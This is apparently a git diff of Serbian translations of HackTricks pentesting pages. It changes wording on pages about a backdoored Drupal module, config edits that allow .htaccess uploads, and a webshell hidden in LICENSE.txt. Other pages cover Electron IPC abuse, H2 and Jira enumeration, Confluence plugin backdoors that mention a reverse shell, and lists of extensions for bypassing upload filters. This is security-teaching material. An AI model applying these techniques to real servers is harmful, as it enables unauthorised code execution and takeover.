U trenutnim verzijama više nije moguće instalirati dodatke samo pristupom vebu nakon podrazumevane instalacije.
|
U trenutnim verzijama više nije moguće instalirati dodatke samo pristupom vebu nakon podrazumevane instalacije.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Modul sa backdoor-om može se kreirati **dodavanjem shel-a postojećem modulu**. Module možete pronaći na drupal.org veb sajtu. Izaberimo modul kao što je [CAPTCHA](https://www.drupal.org/project/captcha). Pomerite se prema dole i kopirajte link za tar.gz [arhivu](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
Modul sa bekdorom može se kreirati **dodavanjem shel-a postojećem modulu**. Module možete pronaći na drupal.org veb sajtu. Izaberimo modul kao što je [CAPTCHA](https://www.drupal.org/project/captcha). Pomerite se prema dole i kopirajte link za tar.gz [arhivu](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||||
|
|
||||||
* Preuzmite arhivu i raspakujte njen sadržaj.
|
* Preuzmite arhivu i raspakujte njen sadržaj.
|
||||||
```
|
```
|
||||||
|
@ -93,13 +93,13 @@ U meniju _Extend_ (/admin/modules), možete aktivirati ono što se čini kao ve
|
||||||
|
|
||||||
Pre aktivacije:
|
Pre aktivacije:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Posle aktivacije:
|
Posle aktivacije:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Deo 2 (iskorišćavanje funkcije _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
### Deo 2 (iskorišćavanje funkcije _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||||
|
|
||||||
|
@ -122,9 +122,9 @@ allow_insecure_uploads: false
|
||||||
...
|
...
|
||||||
|
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Na:
|
Da:
|
||||||
|
|
||||||
Fajl: system.file.yml
|
Fajl: system.file.yml
|
||||||
```
|
```
|
||||||
|
@ -136,7 +136,7 @@ allow_insecure_uploads: true
|
||||||
...
|
...
|
||||||
|
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Patch field.field.media.document.field\_media\_document.yml**
|
**Patch field.field.media.document.field\_media\_document.yml**
|
||||||
|
|
||||||
|
@ -152,11 +152,11 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
|
||||||
|
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Da:
|
Da:
|
||||||
|
|
||||||
Fajl: field.field.media.document.field\_media\_document.yml
|
File: field.field.media.document.field\_media\_document.yml
|
||||||
```
|
```
|
||||||
...
|
...
|
||||||
|
|
||||||
|
@ -168,11 +168,11 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
|
||||||
```
|
```
|
||||||
> Ne koristim to u ovom blog postu, ali je zabeleženo da je moguće definisati unos `file_directory` na proizvoljan način i da je podložan napadu prečicom (tako da možemo da se vratimo unazad unutar Drupal datotečnog sistema).
|
> Ne koristim to u ovom blog postu, ali je zabeleženo da je moguće definisati unos `file_directory` na proizvoljan način i da je podložan napadu prečicom (tako da možemo da se vratimo unazad unutar Drupal datotečnog sistema).
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Deo 3 (iskorišćavanje funkcije _Dodaj dokument_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
### Deo 3 (iskorišćavanje funkcije _Dodaj dokument_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||||
|
|
||||||
Poslednji korak je najjednostavniji i deli se na dva pod-koraka. Prvi je da se otpremi datoteka u .htaccess formatu kako bi se iskoristile Apache direktive i omogućilo da .txt datoteke budu interpretirane od strane PHP engine-a. Drugi je da se otpremi .txt datoteka koja sadrži naš payload.
|
Zadnji korak je najjednostavniji i deli se na dva pod-koraka. Prvi je da se otpremi datoteka u .htaccess formatu kako bi se iskoristile Apache direktive i omogućilo da .txt datoteke budu interpretirane od strane PHP engine-a. Drugi je da se otpremi .txt datoteka koja sadrži naš payload.
|
||||||
|
|
||||||
Datoteka: .htaccess
|
Datoteka: .htaccess
|
||||||
```
|
```
|
||||||
|
@ -198,9 +198,9 @@ Zato što kada se Webshell (koji ćemo nazvati LICENSE.txt) postavi na Web serve
|
||||||
|
|
||||||
Zašto nazvati naš Webshell LICENSE.txt?
|
Zašto nazvati naš Webshell LICENSE.txt?
|
||||||
|
|
||||||
Jednostavno zato što ako uzmemo sledeću datoteku, na primer [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (koja je već prisutna u Drupal jezgru), imamo datoteku od 339 linija i 17.6 KB veličine, što je savršeno za dodavanje malog snippeta PHP koda u sredinu (pošto je datoteka dovoljno velika).
|
Jednostavno zato što ako uzmemo sledeću datoteku, na primer [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (koja je već prisutna u Drupal jezgru), imamo datoteku od 339 linija i 17.6 KB veličine, što je savršeno za dodavanje malog isječka PHP koda u sredinu (pošto je datoteka dovoljno velika).
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Datoteka: Patchovana LICENSE.txt
|
Datoteka: Patchovana LICENSE.txt
|
||||||
```txt
|
```txt
|
||||||
|
@ -235,11 +235,11 @@ programs whose distribution conditions are different, write to the author
|
||||||
|
|
||||||
Prvo, koristimo funkciju _Add Document_ (/media/add/document) da otpremimo naš fajl koji sadrži Apache direktive (.htaccess).
|
Prvo, koristimo funkciju _Add Document_ (/media/add/document) da otpremimo naš fajl koji sadrži Apache direktive (.htaccess).
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (10) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Deo 3.2 (upload file LICENSE.txt)**
|
**Deo 3.2 (upload file LICENSE.txt)**
|
||||||
|
|
||||||
|
@ -255,7 +255,7 @@ Zatim, ponovo koristimo funkciju _Add Document_ (/media/add/document) da otpremi
|
||||||
|
|
||||||
Poslednji deo se sastoji od interakcije sa Webshell-om.
|
Poslednji deo se sastoji od interakcije sa Webshell-om.
|
||||||
|
|
||||||
Kao što je prikazano na sledećem ekranu, ako kolačić koji očekuje naš Webshell nije definisan, dobijamo sledeći rezultat prilikom konsultovanja fajla putem Web pretraživača.
|
Kao što je prikazano na sledećem ekranu, ako kolačić koji očekuje naš Webshell nije definisan, dobijamo sledeći rezultat kada konsultujemo fajl putem Web pretraživača.
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
|
|
@ -21,9 +21,9 @@ Ako preload skripta izlaže IPC krajnju tačku iz main.js datoteke, proces rende
|
||||||
|
|
||||||
## Primer 0
|
## Primer 0
|
||||||
|
|
||||||
Primer sa [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (imate ceo primer kako je MS Teams zloupotrebljavao XSS za RCE u tim slajdovima, ovo je samo vrlo osnovni primer):
|
Primer sa [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (imate ceo primer kako je MS Teams zloupotrebljavao XSS do RCE u tim slajdovima, ovo je samo vrlo osnovni primer):
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## Primer 1
|
## Primer 1
|
||||||
|
|
||||||
|
@ -106,8 +106,8 @@ ipcRenderer.send(event, data);
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Obuka AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Obuka GCP Red Team Ekspert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -1,12 +1,12 @@
|
||||||
# H2 - Java SQL baza podataka
|
# H2 - Java SQL baza podataka
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Podrška HackTricks</summary>
|
<summary>Podržite HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -15,8 +15,6 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
Zvanična stranica: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
|
Zvanična stranica: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
|
||||||
|
@ -27,7 +25,7 @@ Možete navesti **nepostojeće ime baze podataka** kako biste **napravili novu b
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (131).png>)
|
![](<../../.gitbook/assets/image (131).png>)
|
||||||
|
|
||||||
Ili ako znate da, na primer, **mysql radi** i znate **ime baze podataka** i **kredencijale** za tu bazu, možete jednostavno pristupiti:
|
Ili ako znate da na primer **mysql radi** i znate **ime baze podataka** i **kredencijale** za tu bazu, možete jednostavno pristupiti:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (201).png>)
|
![](<../../.gitbook/assets/image (201).png>)
|
||||||
|
|
||||||
|
@ -50,13 +48,11 @@ U [**ovom postu**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)
|
||||||
},
|
},
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -15,17 +15,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poljski pisano i govorno potrebno_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
## Proverite privilegije
|
## Check Privileges
|
||||||
|
|
||||||
U Jiri, **privilegije se mogu proveriti** od strane bilo kog korisnika, autentifikovanog ili ne, putem krajnjih tačaka `/rest/api/2/mypermissions` ili `/rest/api/3/mypermissions`. Ove krajnje tačke otkrivaju trenutne privilegije korisnika. Značajna zabrinutost se javlja kada **neautentifikovani korisnici imaju privilegije**, što ukazuje na **bezbednosnu ranjivost** koja bi mogla biti podobna za **nagradu**. Slično tome, **neočekivane privilegije za autentifikovane korisnike** takođe ističu **ranjivost**.
|
U Jiri, **privilegije se mogu proveriti** od strane bilo kog korisnika, autentifikovanog ili ne, putem krajnjih tačaka `/rest/api/2/mypermissions` ili `/rest/api/3/mypermissions`. Ove krajnje tačke otkrivaju trenutne privilegije korisnika. Značajna zabrinutost se javlja kada **neautentifikovani korisnici imaju privilegije**, što ukazuje na **bezbednosnu ranjivost** koja bi mogla biti podobna za **nagradu**. Slično tome, **neočekivane privilegije za autentifikovane korisnike** takođe ističu **ranjivost**.
|
||||||
|
|
||||||
Važna **ažuriranja** su izvršena **1. februara 2019.**, zahtevajući da 'mypermissions' krajnja tačka uključuje **'permission' parametar**. Ovaj zahtev ima za cilj da **poboljša bezbednost** preciziranjem privilegija koje se ispituju: [proverite ovde](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
Važna **ažuriranja** su napravljena **1. februara 2019.**, zahtevajući da 'mypermissions' krajnja tačka uključuje **'permission' parametar**. Ovaj zahtev ima za cilj da **poboljša bezbednost** preciziranjem privilegija koje se pretražuju: [proverite ovde](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||||
|
|
||||||
* ADD\_COMMENTS
|
* ADD\_COMMENTS
|
||||||
* ADMINISTER
|
* ADMINISTER
|
||||||
|
@ -74,20 +74,20 @@ Primer: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=
|
||||||
#Check non-authenticated privileges
|
#Check non-authenticated privileges
|
||||||
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
|
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
|
||||||
```
|
```
|
||||||
## Automated enumeration
|
## Automatizovana enumeracija
|
||||||
|
|
||||||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||||
|
|
||||||
## Atlasian Plugins
|
## Atlasian dodaci
|
||||||
|
|
||||||
Kao što je navedeno u ovom [**blogu**](https://cyllective.com/blog/posts/atlassian-audit-plugins), u dokumentaciji o [Plugin modules ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) moguće je proveriti različite tipove plugina, kao što su:
|
Kao što je navedeno u ovom [**blogu**](https://cyllective.com/blog/posts/atlassian-audit-plugins), u dokumentaciji o [Plugin modulima ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) moguće je proveriti različite tipove dodataka, kao što su:
|
||||||
|
|
||||||
* [REST Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): Izlaže RESTful API krajnje tačke
|
* [REST Plugin Modul ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): Izložite RESTful API krajnje tačke
|
||||||
* [Servlet Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): Implementira Java servlete kao deo plugina
|
* [Servlet Plugin Modul ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): Implementirajte Java servlete kao deo dodatka
|
||||||
* [Macro Plugin Module ↗](https://developer.atlassian.com/server/confluence/macro-module/): Implementira Confluence makroe, tj. parametarske HTML šablone
|
* [Macro Plugin Modul ↗](https://developer.atlassian.com/server/confluence/macro-module/): Implementirajte Confluence makroe, tj. parametarske HTML šablone
|
||||||
|
|
||||||
Ovo je primer tipa macro plugina:
|
Ovo je primer tipa makro dodatka:
|
||||||
```java
|
```java
|
||||||
package com.atlassian.tutorial.macro;
|
package com.atlassian.tutorial.macro;
|
||||||
|
|
||||||
|
@ -114,7 +114,7 @@ public OutputType getOutputType() { return OutputType.BLOCK; }
|
||||||
```
|
```
|
||||||
Moguće je primetiti da bi ovi dodaci mogli biti ranjivi na uobičajene web ranjivosti poput XSS. Na primer, prethodni primer je ranjiv jer reflektuje podatke koje daje korisnik. 
|
Moguće je primetiti da bi ovi dodaci mogli biti ranjivi na uobičajene web ranjivosti poput XSS. Na primer, prethodni primer je ranjiv jer reflektuje podatke koje daje korisnik. 
|
||||||
|
|
||||||
Kada se pronađe XSS, u [**ovoj github repozitorijumu**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) možete pronaći neke payload-ove za povećanje uticaja XSS-a.
|
Kada se pronađe XSS, u [**ovom github repozitorijumu**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) možete pronaći neke payload-ove za povećanje uticaja XSS-a.
|
||||||
|
|
||||||
## Backdoor Plugin
|
## Backdoor Plugin
|
||||||
|
|
||||||
|
@ -129,7 +129,7 @@ Ovo su neke od radnji koje bi maliciozni dodatak mogao da izvrši:
|
||||||
* **Obrnuta ljuska**: Ili dobiti obrnutu ljusku.
|
* **Obrnuta ljuska**: Ili dobiti obrnutu ljusku.
|
||||||
* **DOM proksiranje**: Ako je Confluence unutar privatne mreže, bilo bi moguće uspostaviti vezu kroz pregledač nekog korisnika koji ima pristup i, na primer, kontaktirati server za izvršavanje komandi kroz njega.
|
* **DOM proksiranje**: Ako je Confluence unutar privatne mreže, bilo bi moguće uspostaviti vezu kroz pregledač nekog korisnika koji ima pristup i, na primer, kontaktirati server za izvršavanje komandi kroz njega.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
|
|
|
@ -1,32 +1,32 @@
|
||||||
# File Upload
|
# File Upload
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Podrška HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
## File Upload General Methodology
|
## Opšta metodologija za upload fajlova
|
||||||
|
|
||||||
Other useful extensions:
|
Ostale korisne ekstenzije:
|
||||||
|
|
||||||
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||||
* **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
* **Rad u PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||||
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||||
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||||
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||||
|
@ -34,13 +34,13 @@ Other useful extensions:
|
||||||
* **Perl**: _.pl, .cgi_
|
* **Perl**: _.pl, .cgi_
|
||||||
* **Erlang Yaws Web Server**: _.yaws_
|
* **Erlang Yaws Web Server**: _.yaws_
|
||||||
|
|
||||||
### Bypass file extensions checks
|
### Zaobilaženje provere ekstenzija fajlova
|
||||||
|
|
||||||
